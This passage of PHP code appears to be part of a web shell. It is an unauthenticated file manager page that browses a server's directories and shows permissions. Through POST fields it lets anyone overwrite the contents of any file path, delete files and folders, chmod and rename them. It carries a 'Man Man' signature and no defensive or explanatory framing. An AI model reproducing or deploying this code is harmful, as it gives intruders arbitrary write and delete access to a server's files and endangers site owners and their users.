        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Edit File Done.</font><br />';
            }else{
                echo '<font color="red">Edit File Error.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Delete Dir Done.</font><br />';
            }else{
                echo '<font color="red">Delete Dir Error.</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Delete File Done.</font><br />';
            }else{
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<br />Man Man <br />
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>